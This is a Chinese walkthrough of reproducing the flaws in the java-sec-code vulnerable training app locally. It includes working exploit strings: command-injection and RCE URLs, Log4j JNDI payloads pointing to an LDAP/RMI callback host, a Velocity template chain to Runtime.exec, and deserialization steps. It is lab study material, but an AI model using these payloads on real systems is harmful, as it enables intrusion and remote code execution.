java-sec-code 靶场

一、靶场环境

源码地址:

https://github.com/JoyChou93/java-sec-code

搭建环境:

IDEA,pache-maven-3.9.1,apache-tomcat-9.0.105,JDK 1.8,MySQL 5.7.26,

​ 数据库:小皮面板自带的MySQL,导入sql文件

20250722121837762

20250722121922614

​ 修改数据库密码

20250722121952382

​ 默认端口为8080,如果被占用,在 application.properties 中写入 server.port=8081

20250722122032495

之后启动 Maven install

20250722122150263

运行 Application.java

20250722122307068

访问 127.0.0.1:8081

20250722122339704

搭建成功

20250722122412538

以下是一些小的改动:

参考文章:https://www.freebuf.com/articles/web/289863.html

因为项目作者选择的工作环境为linux操作系统,而我本人选择的工作环境为windows操作系统,所以为了部分功能运行成功需要修改几处源码,首先修改CommandInject.java文件下的源码,将sh执行命令替换为cmd命令,还有修改源码中一些其它的linux操作系统上独有的命令。

  1. src/main/java/org/joychou/controller/CommandInject.java

20250722122752916

  1. src/main/resources/templates/index.html

20250722123350854

二、漏洞复现

Logback.xml

src/main/resources/logback-online.xml

漏洞产生原因:

<jmxConfigurator/>

作用:暴露 Logback 的运行时配置能力(开启 JMX 管理功能)

这个配置会注册一个 JMX MBean (可以远程管理的 Java 对象 ,“遥控器”),它允许用户通过 JMX 控制台、Jolokia (Jolokia 是一个用来访问远程 JMX MBeans 的方法,Jolokia 通过 HTTP 访问 JMX)等远程管理工具调用 Logback 的方法

如果系统部署中 暴露了 Jolokia 的 /jolokia 接口,攻击者可以远程调用 Logback 的 reloadByURL 方法,加载恶意配置文件,进而发起 JNDI 注入 ➜ 远程代码执行(RCE)

漏洞利用:

  • /jolokia/exec/:Jolokia 的 exec 调用路径

  • ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator:Logback 中添加 <jmxConfigurator/> 注册 JMX MBean 后的默认名称

  • /reloadByURL/:调用的 JMX 方法,即 reloadByURL(URL configFile),运行后重新加载 Logback 配置文件

  • http:!/!/127.0.0.1:8888!/xxx.xml:注意 !/!/ 是 URL 编码中对 / 和 : 的绕过手法,最后解析成:

Rce.java

src/main/java/org/joychou/controller/Rce.java

1./runtime/exec

没有进行过滤,产生了rce 漏洞

漏洞利用:

POC:/rce/runtime/exec?cmd=calc.exe

可以弹出计算机

20250722141657147

POC:/rce/runtime/exec?cmd=whoami

20250722141728262

2./ProcessBuilder

这一漏洞需要在Linux环境中复现

3./jscmd

  • 直接使用用户输入的jsurl构造load()命令
  • 无任何安全过滤

漏洞利用:

因为是基于Java的Nashorn JavaScript引擎,接受一个外部JS文件URL(jsurl),然后通过load()函数去加载执行远程的JS代码,如果远程JS包含恶意代码(比如调用Java的Runtime.exec执行系统命令),就会造成远程命令执行(RCE)漏洞。

先编写一个恶意的JS文件

20250722150342733

放入C盘

20250722150411441

用Python自带的简易HTTP服务器快速启动

20250722150542190

现在本地就有了一个HTTP服务器,远程JS脚本的URL就是:

POC:

成功弹出计算器

20250722150709404

HTTP访问日志:

20250722150740046

4./vuln/yarm

YAML 反序列化漏洞 ,利用 SnakeYAML 默认构造器(反序列化)+ JDK 类加载机制,达到远程代码执行(RCE) 的攻击。

攻击核心点在于:

构造 ScriptEngineManager 并传入一个远程 URLClassLoader,从而触发恶意类加载或脚本执行。

SnakeYaml反序列化漏洞研究:https://www.cnblogs.com/LittleHann/p/17828948.html

这是源码中作者给出的一个poc

yaml-payload.jar:https://github.com/artsploit/yaml-payload

下载好后开始打包为 jar:

20250722153817282

20250722153829103

将打包好的文件 yaml-payload.jar 放入服务器文件夹,开启HTTP

20250722154012661

触发漏洞:

20250722155011777

20250722155022447

5.groovy

POC:

20250722155651468

命令注入-Cmd Inject

源码位置:src/main/java/org/joychou/controller/CommandInject.java

1./codeinject

漏洞利用:

  • 注意将符号进行 url 编码
    • & - .%26 - 拼接cmd命令
    • | - %7C - 执行多条命令

20250723130014199

20250723130045224

20250723130103166

20250723130116070

Linux:

2./codeinject/host

注入参数为http请求头中的host参数,将host参数修改为 payload:localhost&ipconfig,执行命令

BUG: Codeinject的host部分由于pom.xml更新了tomcat 版本导致打不通:

https://github.com/JoyChou93/java-sec-code/issues/78

3./codeinject/sec

"^[a-zA-Z0-9_/\\.-]+$":

  • ^ 和 $:表示整个字符串必须从头到尾都符合中间的规则。

  • [a-zA-Z0-9_/\\.-]+:

    • a-zA-Z0-9:大小写字母和数字

    • _:允许下划线

    • /:允许正斜杠(路径分隔符)

    • .:允许点号(如隐藏文件、扩展名)

    • -:允许减号

可以过滤的威胁:

  • ;, &, |, $, \(除路径分隔符), *, 空格、换行、引号等

cookies越权

src/main/java/org/joychou/controller/Cookies.java

漏洞利用:

vuln01

http://127.0.0.1:8081/cookie/vuln01

抓包改 cookie,

20250723141110105

vuln02

同 vuln01

20250723141320799

vuln03

因为大小写敏感,所以要写准确的 nick

20250723141512271

如果不是全小写,就会被拦截

20250723141532175

vuln04

不区分大小写,

vuln05

20250723142428662

vuln06

20250723142510453

Cors

跨域资源共享 CORS 详解

https://www.ruanyifeng.com/blog/2016/04/cors.html

原理与工作流程

CORS(Cross-Origin Resource Sharing)跨源资源共享,是HTML5的一个新特性,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。

CORS的基本原理是,第三方网站服务器生成访问控制策略,指导用户浏览器放宽 SOP 的限制,实现与指定的目标网站共享数据。

相比之下,CORS较JSONP更为复杂,JSONP只能用于获取资源(即只读,类似于GET请求),而CORS支持所有类型的HTTP请求,功能完善。

CORS具体工作流程可分为三步,

  1. 资源服务器根据请求中Origin头返回访问控制策略(Access-Control-Allow-Origin响应头),并在其中声明允许读取响应内容的源;
  2. 浏览器检查资源服务器在Access-Control-Allow-Origin头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许;

CORS与CSRF的区别

一般有CORS漏洞的地方都有CSRF。

CSRF一般使用form表单提交请求,而浏览器是不会对form表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。

浏览器的同源策略的本质是:一个域名的JS,在未经允许的情况下是不得读取另一个域名的内容,但浏览器并不阻止向另一个域名发送请求。

相同点:都需要第三方网站;都需要借助Ajax的异步加载过程;一般都需要用户登录目标站点。

不同点:一般CORS漏洞用于读取受害者的敏感信息,获取请求响应的内容;而CSRF则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。

由于代码限制不严格,会导致跨域请求伪造可以结合xss,csrf进行攻击

src/main/java/org/joychou/controller/Cors.java

response.setHeader("Access-Control-Allow-Origin", origin); //任意网站都可以访问本网站

response.setHeader("Access-Control-Allow-Credentials", "true"); //允许这些任意网站带上用户的 Cookie 来访问本网站

这俩个头一起用就导致攻击者可以构造任意恶意网页,从任意网站带上 Cookie 访问本网站,获取到用户数据,造成数据泄露。

漏洞利用:

攻击者从 evil.com 发起跨域请求(使用前端脚本携带 Cookie 向另一个子域发请求),诱导已经在 http://127.0.0.1:8081 网站上登录的用户访问 evil.com ,而由于服务端设置了response.setHeader("Access-Control-Allow-Origin", origin);response.setHeader("Access-Control-Allow-Credentials", "true");,所以当攻击者访问 http://127.0.0.1:8081/cors/vuln/origin 页面,服务端无过滤就会响应,使得攻击者拿到敏感信息。

cors复现: https://blog.csdn.net/wanmiqi/article/details/119573354

CRLFInjection

初识HTTP响应拆分攻击(CRLF Injection)

https://www.anquanke.com/post/id/240014

CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n)。在《HTTP | HTTP报文》一文中,我们可以了解到HTTP报文的结构:HTTP报文以状态行开始,跟在后面的是HTTP首部(HTTP Header),首部由多个首部字段构成,每行一个首部字段,HTTP首部后是一个空行,然后是报文主体(HTTP Body)。状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。或者理解为首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。

在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS。

src/main/java/org/joychou/controller/CRLFInjection.java

漏洞利用:

构造POC:

正常来讲应该看到一个新的标头

我这里没有复现成功,可能是因为 tomcat 版本高自动过滤了 \r\n

20250723161852286

CSRF

CSRF漏洞原理攻击与防御(非常细)-CSDN博客

20250724095137238

所以要被CSRF攻击,必须同时满足两个条件:

  • 登录受信任网站A,并在本地生成Cookie。
  • 在不登出A的情况下,访问危险网站B。

Deserialize

漏洞利用:

ysoserial.jar 生成 payload:

之后在 cookie 中加入payload:

注意: rememberMe = <payload>

20250724132100840

发包后会弹出计算器

20250724132234120

20250724132330738

Fastjson

触发点: JSON.parseObject() JSON.parse()

20250724134123264

漏洞利用:

post 请求 /fastjson/deserialize ,传输 application/json 格式数据

payload:

20250724135345425

20250724135353947

FileUpload

未对文件名、后缀名进行过滤,直接上传文件。

漏洞利用:

功能点:http://127.0.0.1:8081/file/any ,可以上传任意文件

20250724141442245

GetRequestURI

request.getRequestURL() 返回全路径

request.getRequestURI() 返回除去host(域名或者ip)部分的路径

request.getContextPath() 返回工程名部分,如果工程映射为/,此处返回则为空

request.getServletPath() 返回除去host和工程名部分的路径

例如:

request.getRequestURL() http://localhost:8080/jqueryLearn/resources/request.jsp request.getRequestURI() /jqueryLearn/resources/request.jsp request.getContextPath()/jqueryLearn request.getServletPath()/resources/request.jsp

这里有一个奇怪的点:@RequestMapping("uri")

注释中都没有加 uri ,如果不加 uri 下面的全部访问不到,但是 getRequestURI() 返回除去 host(域名或者ip)部分的路径 一定会包含 uri ,这就导致 String[] excluedPath = {"/css/**", "/js/**"}; 完全起不到作用,因为 getRequestURI() 返回为 /uri/...,导致匹配不到 "/css/**", "/js/**"

20250724151631951

测试:

20250724152429560

20250724152503479

想要利用就改一下匹配规则:

20250724152945636

20250724153028787

20250724153553391

jdbc-CVE 2022 21724

20250725111517628

PostgreSQL JDBC 驱动支持通过 JDBC URL 中的参数 socketFactory 指定自定义类,用于创建 socket 连接。

在漏洞版本中,这个类没有限制来源,攻击者可通过如下 URL 参数让其加载任意类:

Spring 环境中存在的 org.springframework.context.support.ClassPathXmlApplicationContext 是一个典型的入口点,它可自动解析并执行外部 XML 配置。

payload:

socketFactory = 使用了 Spring 的 ClassPathXmlApplicationContext 类

  • 该类在初始化时会加载并解析指定 URL 或文件的 Spring XML 配置。

socketFactoryArg = 远程的 1.xml

  • 这个 XML 是 Spring Bean 配置文件,包含了一个 ProcessBuilder Bean,启动本地程序。

1.xml

jsonp

JSONP(JSON with Padding)是浏览器早期为了解决跨域请求数据的一种方法。它的基本原理是:

服务器返回的不是 JSON,而是:

如果服务器不严格校验 callback 参数来源,就可能造成 跨站数据泄露(XSS) 或 信息泄露漏洞。

漏洞利用:

搜关键字:AbstractJsonpResponseBodyAdvice

Log4j

版本存在漏洞

20250725135906016

POC1:

/log4j?token=${jndi:ldap://${env:OS}.44wodg.dnslog.cn}

直接访问会对非法字符过滤,需要 url 编码后注入

/log4j?token=%24%7Bjndi%3Aldap%3A%2F%2F%24%7Benv%3AOS%7D.44wodg.dnslog.cn%7D

20250725141100248

20250725141125185

POC2:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

rmi://169.254.39.1:1099/ihe2v1

${jndi:rmi://169.254.39.1:1099/ihe2v1}

/log4j?token=${jndi:rmi://169.254.39.1:1099/ihe2v1}

url 编码:/log4j?token=%24%7Bjndi%3Armi%3A%2F%2F169.254.39.1%3A1099%2Fihe2v1%7D

20250725141328166

20250725141333552

PathTraversal

没有对文件路径做任何过滤,攻击者可以访问任意文件

20250725142845129

20250725142909337

SQLI

1./jdbc/vuln

注入点:

url:

20250725132643238

2./jdbc/sec

采用预编译,自动进行了转义,安全

3./jdbc/ps/vuln

PreparedStatement 是 Java JDBC 提供的 预编译 SQL 语句执行器,用于安全执行 SQL 查询,防止 SQL 注入。

PreparedStatement 是 java.sql 包中的一个接口,继承自 Statement。与普通的 Statement 相比,它可以使用 ? 占位符来动态绑定参数,而不是直接拼接 SQL 字符串。

错误使用 PreparedStatement , 虽然用的是 PreparedStatement,但 SQL 已拼接完成,还是有注入风险。

url:

20250725133408711

4./mybatis/vuln01

返回数据库中所有用户

20250725134006587

5./mybatis/vuln02

XML 配置中拼接 like + ${}

20250725134316209

6./mybatis/orderby/vuln03

ORDER BY 拼接排序字段

20250725134556658

7./mybatis/sec01

8./mybatis/sec02

9./mybatis/sec03

10./mybatis/orderby/sec04

SSTI

SSTI(Server-Side Template Injection)就是服务器端模板注入

20250726105655246

漏洞利用:

  1. #set($e="e")

Velocity 模板语言中的变量定义。创建一个变量 $e,值为字符串 "e"。后面我们会用 $e.getClass() 来获取它的 Class 对象,从而进入 Java 反射

  1. $e.getClass()

$e 是字符串 "e",调用 .getClass() 得到的是:

得到了 Class<java.lang.String>,可以调用其 forName() 静态方法

  1. .forName("java.lang.Runtime")

通过反射加载 java.lang.Runtime 类:

返回 java.lang.Runtime.class,可以继续调用它的方法

  1. .getMethod("getRuntime", null)

获取 Runtime 类的静态方法 getRuntime():

getMethod() 返回一个 Method 对象,准备执行它

  1. .invoke(null, null)

执行静态方法 getRuntime():

得到了当前 JVM 的 Runtime 实例,具备执行命令的能力

  1. .exec("calc.exe")

最终执行命令:

在 Windows 上,打开计算器

20250726105045484

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

image-20250726112359793

20250726112949883

Shiro

Shiro rememberMe 功能用于“记住登录状态”。它的设计逻辑是:

用户勾选“记住我”登录后,Shiro 把用户的认证信息序列化为字节流,用一个固定密钥(默认是 kPH+bIxk5D2deZiIxcaaaA==)用 AES 加密,Base64 编码后作为 rememberMe Cookie 发送给浏览器。当浏览器下次请求时,Shiro:读取 rememberMe Cookie,用同样的密钥进行解密,然后直接反序列化出用户对象,只要攻击者能控制 rememberMe Cookie 内容,就能构造恶意对象反序列化,从而执行任意代码。

漏洞利用:

生成恶意序列化数据

加密 Payload

发送 cookie 请求

20250726132755476

也可以利用工具:

20250726133031514

20250726133042646

20250726133057346

SpEL

Spring Expression Language 是一种表达式语言,支持运行时查询和操作对象图,同时也有方法调用和字符串模板功能

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car} 引用其他对象的属性:#{car.brand} 调用其它方法 , 还可以链式操作:#{car.toString()}

1.类类型表达式

使用T()运算符会调用类作用域的静态属性或静态方法,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名 比如:

2.类实例化 使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。 比如

20250726134132360

20250726133936240

URLRedirect

url重定向漏洞主要用来钓鱼,重定向跳转代码

20250726134558956

20250726134611955

URLWhiteList

  • 创建一个 Java 标准库的 URL 对象,用于解析 url 字符串的结构。
  • 比如: url = "https://www.example.com:8080/path?q=1" 则:
    • u.getHost() = "www.example.com"
    • u.getPort() = 8080
    • u.getPath() = "/path"

XXE

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。 XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。 XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

1./xmlReader/vuln

没有禁用 DOCTYPE 与实体相关的 SAX 特性

SAX(Simple API for XML)解析器是一种基于事件驱动的解析方式,用于处理XML文档。与DOM解析器不同,SAX不需要将整个文档加载到内存中,因此对于大型文件尤其有用。

POC:

抓包 http://127.0.0.1:8081/xxe/xmlReader/vuln

20250727115850184

修改为 POST 提交

已经触发了 XML 解析逻辑,但是没有读取文件

20250727120554070

换一种:

说明服务端 确实解析并触发了外部实体加载,访问了构造的恶意 URL

20250727121029322

20250727121019973

2./xmlReader/sec

修改后的方法禁用 DOCTYPE 声明,禁用外部实体(GENERAL + PARAMETER)

3./SAXBuilder/vuln

SAXBuilder 默认开启了对 外部实体 的支持

POC:

20250727122448607

20250727122444351

4./SAXBuilder/sec

5./SAXReader/vuln

POC:

20250727123019413

20250727123025939

6./SAXReader/sec

7./SAXParser/vuln

POC:

20250727123517394

8./SAXParser/sec

9.这些方法的利用和修复都是一样的。

POC构造:

修复:

XSS

20250727110941871

20250727111445251

image-20250727111506881

XStreamRce

XStream是Java类库,用来将对象序列化成XML (JSON)或反序列化为对象。

也就是说,使用XStream,我们可以把Java对象转换成XML,也可以将XML转换为Java对象。

有RCE漏洞受影响版本: Xstream affected version: 1.4.10 or <= 1.4.6

CVE-2020-26217 | XStream远程代码执行漏洞

https://www.cnblogs.com/303donatello/p/13998245.html

20250727124508575

POC:

20250727132402482

参考文章:

java经典反序列化漏洞复现

https://www.cnblogs.com/0kooo-yz/p/18399516

代码审计入门之java-sec-code(一)

https://www.freebuf.com/articles/web/289863.html

Java-Sec代码审计漏洞篇(一)

https://xz.aliyun.com/news/15669

Java-Sec代码审计漏洞篇(二)

https://xz.aliyun.com/news/15721

Java-sec-code靶场分析练习

https://buaq.net/go-307106.html

java-sec-code 靶场复现

https://odiws.github.io/2025/07/08/java-sec-code%E5%A4%8D%E7%8E%B0/

SnakeYaml反序列化漏洞研究

https://www.cnblogs.com/LittleHann/p/17828948.html

跨域资源共享 CORS 详解

https://www.ruanyifeng.com/blog/2016/04/cors.html

初识HTTP响应拆分攻击(CRLF Injection)

https://www.anquanke.com/post/id/240014

CSRF漏洞原理攻击与防御(非常细)-CSDN博客

https://blog.csdn.net/qq_43378996/article/details/123910614

JSONP 跨域原理及实现

https://segmentfault.com/a/1190000041946934

PostgreSQL JDBC 驱动远程代码执行漏洞(CVE-2022-21724)

https://avd.aliyun.com/detail?id=AVD-2022-21724×tamp__1384=eqA27KD5BKAK4YqGNDQRhMiKvr%2BmCnCoD

PreparedStatement的使用

https://www.cnblogs.com/ysw-go/p/5459330.html

路径穿越(Path Traversal)详解-CSDN博客

https://blog.csdn.net/qingzhantianxia/article/details/128204437

SSTI(模板注入)漏洞(入门篇)

https://www.cnblogs.com/bmjoker/p/13508538.html

SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客

https://blog.csdn.net/qq_43378996/article/details/124050308

由浅入深SpEL表达式注入漏洞

http://rui0.cn/archives/1043

XXE漏洞原理、检测与修复

https://www.cnblogs.com/mysticbinary/p/12668547.html

从XML相关一步一步到XXE漏洞

https://xz.aliyun.com/news/6483

CVE-2020-26217 | XStream远程代码执行漏洞

https://www.cnblogs.com/303donatello/p/13998245.html

工具的安装&使用

ysoserial.jar